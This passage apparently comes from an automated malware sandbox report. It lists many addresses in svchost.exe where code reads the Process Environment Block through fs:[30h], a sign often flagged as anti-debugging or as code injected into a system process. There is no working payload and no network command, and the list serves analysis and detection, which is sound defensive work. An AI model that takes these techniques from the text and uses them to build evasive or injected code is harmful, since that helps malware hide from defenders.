            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F30750 mov eax, dword ptr fs:[00000030h]2_2_02F30750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBE75D mov eax, dword ptr fs:[00000030h]2_2_02FBE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72750 mov eax, dword ptr fs:[00000030h]2_2_02F72750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72750 mov eax, dword ptr fs:[00000030h]2_2_02F72750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB4755 mov eax, dword ptr fs:[00000030h]2_2_02FB4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6674D mov esi, dword ptr fs:[00000030h]2_2_02F6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6674D mov eax, dword ptr fs:[00000030h]2_2_02F6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6674D mov eax, dword ptr fs:[00000030h]2_2_02F6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6273C mov eax, dword ptr fs:[00000030h]2_2_02F6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6273C mov ecx, dword ptr fs:[00000030h]2_2_02F6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6273C mov eax, dword ptr fs:[00000030h]2_2_02F6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAC730 mov eax, dword ptr fs:[00000030h]2_2_02FAC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6C720 mov eax, dword ptr fs:[00000030h]2_2_02F6C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6C720 mov eax, dword ptr fs:[00000030h]2_2_02F6C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F30710 mov eax, dword ptr fs:[00000030h]2_2_02F30710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F60710 mov eax, dword ptr fs:[00000030h]2_2_02F60710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6C700 mov eax, dword ptr fs:[00000030h]2_2_02F6C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]2_2_03004500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]2_2_03004500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]2_2_03004500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]2_2_03004500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]2_2_03004500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]2_2_03004500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]2_2_03004500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F304E5 mov ecx, dword ptr fs:[00000030h]2_2_02F304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F644B0 mov ecx, dword ptr fs:[00000030h]2_2_02F644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBA4B0 mov eax, dword ptr fs:[00000030h]2_2_02FBA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F364AB mov eax, dword ptr fs:[00000030h]2_2_02F364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEA49A mov eax, dword ptr fs:[00000030h]2_2_02FEA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5A470 mov eax, dword ptr fs:[00000030h]2_2_02F5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5A470 mov eax, dword ptr fs:[00000030h]2_2_02F5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5A470 mov eax, dword ptr fs:[00000030h]2_2_02F5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBC460 mov ecx, dword ptr fs:[00000030h]2_2_02FBC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEA456 mov eax, dword ptr fs:[00000030h]2_2_02FEA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2645D mov eax, dword ptr fs:[00000030h]2_2_02F2645D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5245A mov eax, dword ptr fs:[00000030h]2_2_02F5245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]2_2_02F6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]2_2_02F6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]2_2_02F6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]2_2_02F6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]2_2_02F6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]2_2_02F6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]2_2_02F6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]2_2_02F6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A430 mov eax, dword ptr fs:[00000030h]2_2_02F6A430
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2E420 mov eax, dword ptr fs:[00000030h]2_2_02F2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2E420 mov eax, dword ptr fs:[00000030h]2_2_02F2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2E420 mov eax, dword ptr fs:[00000030h]2_2_02F2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2C427 mov eax, dword ptr fs:[00000030h]2_2_02F2C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]2_2_02FB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]2_2_02FB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]2_2_02FB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]2_2_02FB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]2_2_02FB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]2_2_02FB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]2_2_02FB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F68402 mov eax, dword ptr fs:[00000030h]2_2_02F68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F68402 mov eax, dword ptr fs:[00000030h]2_2_02F68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F68402 mov eax, dword ptr fs:[00000030h]2_2_02F68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]2_2_02F5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]2_2_02F5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]2_2_02F5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]2_2_02F5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]2_2_02F5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]2_2_02F5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]2_2_02F5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]2_2_02F5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F325E0 mov eax, dword ptr fs:[00000030h]2_2_02F325E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6C5ED mov eax, dword ptr fs:[00000030h]2_2_02F6C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6C5ED mov eax, dword ptr fs:[00000030h]2_2_02F6C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F365D0 mov eax, dword ptr fs:[00000030h]2_2_02F365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A5D0 mov eax, dword ptr fs:[00000030h]2_2_02F6A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A5D0 mov eax, dword ptr fs:[00000030h]2_2_02F6A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E5CF mov eax, dword ptr fs:[00000030h]2_2_02F6E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E5CF mov eax, dword ptr fs:[00000030h]2_2_02F6E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F545B1 mov eax, dword ptr fs:[00000030h]2_2_02F545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F545B1 mov eax, dword ptr fs:[00000030h]2_2_02F545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB05A7 mov eax, dword ptr fs:[00000030h]2_2_02FB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB05A7 mov eax, dword ptr fs:[00000030h]2_2_02FB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB05A7 mov eax, dword ptr fs:[00000030h]2_2_02FB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E59C mov eax, dword ptr fs:[00000030h]2_2_02F6E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F32582 mov eax, dword ptr fs:[00000030h]2_2_02F32582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F32582 mov ecx, dword ptr fs:[00000030h]2_2_02F32582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F64588 mov eax, dword ptr fs:[00000030h]2_2_02F64588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6656A mov eax, dword ptr fs:[00000030h]2_2_02F6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6656A mov eax, dword ptr fs:[00000030h]2_2_02F6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6656A mov eax, dword ptr fs:[00000030h]2_2_02F6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F38550 mov eax, dword ptr fs:[00000030h]2_2_02F38550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F38550 mov eax, dword ptr fs:[00000030h]2_2_02F38550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]2_2_02F40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]2_2_02F40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]2_2_02F40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]2_2_02F40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]2_2_02F40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]2_2_02F40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]2_2_02F5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]2_2_02F5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]2_2_02F5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]2_2_02F5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]2_2_02F5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC6500 mov eax, dword ptr fs:[00000030h]2_2_02FC6500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004B00 mov eax, dword ptr fs:[00000030h]2_2_03004B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6AAEE mov eax, dword ptr fs:[00000030h]2_2_02F6AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6AAEE mov eax, dword ptr fs:[00000030h]2_2_02F6AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F30AD0 mov eax, dword ptr fs:[00000030h]2_2_02F30AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F64AD0 mov eax, dword ptr fs:[00000030h]2_2_02F64AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F64AD0 mov eax, dword ptr fs:[00000030h]2_2_02F64AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F86ACC mov eax, dword ptr fs:[00000030h]2_2_02F86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F86ACC mov eax, dword ptr fs:[00000030h]2_2_02F86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F86ACC mov eax, dword ptr fs:[00000030h]2_2_02F86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F38AA0 mov eax, dword ptr fs:[00000030h]2_2_02F38AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F38AA0 mov eax, dword ptr fs:[00000030h]2_2_02F38AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03002B57 mov eax, dword ptr fs:[00000030h]2_2_03002B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03002B57 mov eax, dword ptr fs:[00000030h]2_2_03002B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03002B57 mov eax, dword ptr fs:[00000030h]2_2_03002B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03002B57 mov eax, dword ptr fs:[00000030h]2_2_03002B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F86AA4 mov eax, dword ptr fs:[00000030h]2_2_02F86AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F68A90 mov edx, dword ptr fs:[00000030h]2_2_02F68A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]2_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FACA72 mov eax, dword ptr fs:[00000030h]2_2_02FACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FACA72 mov eax, dword ptr fs:[00000030h]2_2_02FACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6CA6F mov eax, dword ptr fs:[00000030h]2_2_02F6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6CA6F mov eax, dword ptr fs:[00000030h]2_2_02F6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6CA6F mov eax, dword ptr fs:[00000030h]2_2_02F6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDEA60 mov eax, dword ptr fs:[00000030h]2_2_02FDEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]2_2_02F36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]2_2_02F36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]2_2_02F36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]2_2_02F36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]2_2_02F36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]2_2_02F36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]2_2_02F36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40A5B mov eax, dword ptr fs:[00000030h]2_2_02F40A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40A5B mov eax, dword ptr fs:[00000030h]2_2_02F40A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F54A35 mov eax, dword ptr fs:[00000030h]2_2_02F54A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F54A35 mov eax, dword ptr fs:[00000030h]2_2_02F54A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6CA38 mov eax, dword ptr fs:[00000030h]2_2_02F6CA38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6CA24 mov eax, dword ptr fs:[00000030h]2_2_02F6CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5EA2E mov eax, dword ptr fs:[00000030h]2_2_02F5EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBCA11 mov eax, dword ptr fs:[00000030h]2_2_02FBCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F38BF0 mov eax, dword ptr fs:[00000030h]2_2_02F38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F38BF0 mov eax, dword ptr fs:[00000030h]2_2_02F38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F38BF0 mov eax, dword ptr fs:[00000030h]2_2_02F38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5EBFC mov eax, dword ptr fs:[00000030h]2_2_02F5EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBCBF0 mov eax, dword ptr fs:[00000030h]2_2_02FBCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDEBD0 mov eax, dword ptr fs:[00000030h]2_2_02FDEBD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F50BCB mov eax, dword ptr fs:[00000030h]2_2_02F50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F50BCB mov eax, dword ptr fs:[00000030h]2_2_02F50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F50BCB mov eax, dword ptr fs:[00000030h]2_2_02F50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F30BCD mov eax, dword ptr fs:[00000030h]2_2_02F30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F30BCD mov eax, dword ptr fs:[00000030h]2_2_02F30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F30BCD mov eax, dword ptr fs:[00000030h]2_2_02F30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40BBE mov eax, dword ptr fs:[00000030h]2_2_02F40BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40BBE mov eax, dword ptr fs:[00000030h]2_2_02F40BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE4BB0 mov eax, dword ptr fs:[00000030h]2_2_02FE4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE4BB0 mov eax, dword ptr fs:[00000030h]2_2_02FE4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004A80 mov eax, dword ptr fs:[00000030h]2_2_03004A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2CB7E mov eax, dword ptr fs:[00000030h]2_2_02F2CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F28B50 mov eax, dword ptr fs:[00000030h]2_2_02F28B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDEB50 mov eax, dword ptr fs:[00000030h]2_2_02FDEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE4B4B mov eax, dword ptr fs:[00000030h]2_2_02FE4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE4B4B mov eax, dword ptr fs:[00000030h]2_2_02FE4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC6B40 mov eax, dword ptr fs:[00000030h]2_2_02FC6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC6B40 mov eax, dword ptr fs:[00000030h]2_2_02FC6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFAB40 mov eax, dword ptr fs:[00000030h]2_2_02FFAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD8B42 mov eax, dword ptr fs:[00000030h]2_2_02FD8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5EB20 mov eax, dword ptr fs:[00000030h]2_2_02F5EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5EB20 mov eax, dword ptr fs:[00000030h]2_2_02F5EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF8B28 mov eax, dword ptr fs:[00000030h]2_2_02FF8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF8B28 mov eax, dword ptr fs:[00000030h]2_2_02FF8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]2_2_02FAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6C8F9 mov eax, dword ptr fs:[00000030h]2_2_02F6C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6C8F9 mov eax, dword ptr fs:[00000030h]2_2_02F6C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFA8E4 mov eax, dword ptr fs:[00000030h]2_2_02FFA8E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5E8C0 mov eax, dword ptr fs:[00000030h]2_2_02F5E8C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004940 mov eax, dword ptr fs:[00000030h]2_2_03004940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBC89D mov eax, dword ptr fs:[00000030h]2_2_02FBC89D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F30887 mov eax, dword ptr fs:[00000030h]2_2_02F30887
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBE872 mov eax, dword ptr fs:[00000030h]2_2_02FBE872
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBE872 mov eax, dword ptr fs:[00000030h]2_2_02FBE872
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC6870 mov eax, dword ptr fs:[00000030h]2_2_02FC6870
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC6870 mov eax, dword ptr fs:[00000030h]2_2_02FC6870
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F60854 mov eax, dword ptr fs:[00000030h]2_2_02F60854
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F34859 mov eax, dword ptr fs:[00000030h]2_2_02F34859
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F34859 mov eax, dword ptr fs:[00000030h]2_2_02F34859
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F42840 mov ecx, dword ptr fs:[00000030h]2_2_02F42840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]2_2_02F52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]2_2_02F52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]2_2_02F52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F52835 mov ecx, dword ptr fs:[00000030h]2_2_02F52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]2_2_02F52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]2_2_02F52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A830 mov eax, dword ptr fs:[00000030h]2_2_02F6A830
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD483A mov eax, dword ptr fs:[00000030h]2_2_02FD483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD483A mov eax, dword ptr fs:[00000030h]2_2_02FD483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBC810 mov eax, dword ptr fs:[00000030h]2_2_02FBC810
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F629F9 mov eax, dword ptr fs:[00000030h]2_2_02F629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F629F9 mov eax, dword ptr fs:[00000030h]2_2_02F629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBE9E0 mov eax, dword ptr fs:[00000030h]2_2_02FBE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]2_2_02F3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]2_2_02F3A9D0
